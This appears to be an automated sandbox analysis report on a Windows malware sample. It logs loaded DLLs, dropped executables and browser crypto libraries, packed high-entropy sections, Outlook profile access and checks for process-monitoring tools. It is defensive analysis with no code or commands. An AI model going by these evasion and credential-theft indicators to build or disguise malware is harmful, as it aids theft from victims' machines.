Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1825280 > 1048576

Source: file.exe

Static PE information: Raw size of jwxhholp is bigger than: 0x100000 < 0x1a3c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2016890475.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: b617b009b1.exe, 00000010.00000002.2764523690.0000000000232000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000010.00000003.2630021781.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, b617b009b1.exe, 00000011.00000003.2764593003.0000000004860000.00000004.00001000.00020000.00000000.sdmp, b617b009b1.exe, 00000011.00000002.2805536891.0000000000232000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000012.00000002.2882259694.0000000000232000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000012.00000003.2842125475.0000000005090000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2016890475.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.1d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jwxhholp:EW;ajphrsoq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jwxhholp:EW;ajphrsoq:EW;.taggant:EW;
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Unpacked PE file: 9.2.DocumentsJJKEBGHJKF.exe.270000.0.unpack :EW;.rsrc:W;.idata :W;kyacbjhi:EW;gutvihgg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kyacbjhi:EW;gutvihgg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.b50000.0.unpack :EW;.rsrc:W;.idata :W;kyacbjhi:EW;gutvihgg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kyacbjhi:EW;gutvihgg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.b50000.0.unpack :EW;.rsrc:W;.idata :W;kyacbjhi:EW;gutvihgg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kyacbjhi:EW;gutvihgg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 12.2.skotes.exe.b50000.0.unpack :EW;.rsrc:W;.idata :W;kyacbjhi:EW;gutvihgg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;kyacbjhi:EW;gutvihgg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Unpacked PE file: 14.2.2012aae27e.exe.970000.0.unpack :EW;.rsrc :W;.idata :W; :EW;jwxhholp:EW;ajphrsoq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;jwxhholp:EW;ajphrsoq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Unpacked PE file: 16.2.b617b009b1.exe.230000.0.unpack :EW;.rsrc:W;.idata :W;iikmhsgd:EW;lxdgfeou:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Unpacked PE file: 17.2.b617b009b1.exe.230000.0.unpack :EW;.rsrc:W;.idata :W;iikmhsgd:EW;lxdgfeou:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Unpacked PE file: 18.2.b617b009b1.exe.230000.0.unpack :EW;.rsrc:W;.idata :W;iikmhsgd:EW;lxdgfeou:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: real checksum: 0x313c67 should be: 0x315e9b
Source: file.exe	Static PE information: real checksum: 0x1be174 should be: 0x1c22fd
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x313c67 should be: 0x315e9b
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1be174 should be: 0x1c22fd

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: jwxhholp
Source: file.exe	Static PE information: section name: ajphrsoq
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: section name:
Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: section name: kyacbjhi
Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: section name: gutvihgg
Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: jwxhholp
Source: random[1].exe.0.dr	Static PE information: section name: ajphrsoq
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name: kyacbjhi
Source: skotes.exe.9.dr	Static PE information: section name: gutvihgg
Source: skotes.exe.9.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_0028D91C push ecx; ret	9_2_0028D92F
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_00281359 push es; ret	9_2_0028135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B6D91C push ecx; ret	10_2_00B6D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B6D91C push ecx; ret	11_2_00B6D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B6D91C push ecx; ret	12_2_00B6D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B8DEDB push ss; iretd	12_2_00B8DEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B6DFC6 push ecx; ret	12_2_00B6DFD9

Source: file.exe	Static PE information: section name: jwxhholp entropy: 7.954611319547803
Source: DocumentsJJKEBGHJKF.exe.0.dr	Static PE information: section name: entropy: 7.031836766361581
Source: random[1].exe.0.dr	Static PE information: section name: jwxhholp entropy: 7.954611319547803
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 7.031836766361581

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJJKEBGHJKF.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsJJKEBGHJKF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJJKEBGHJKF.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsJJKEBGHJKF.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
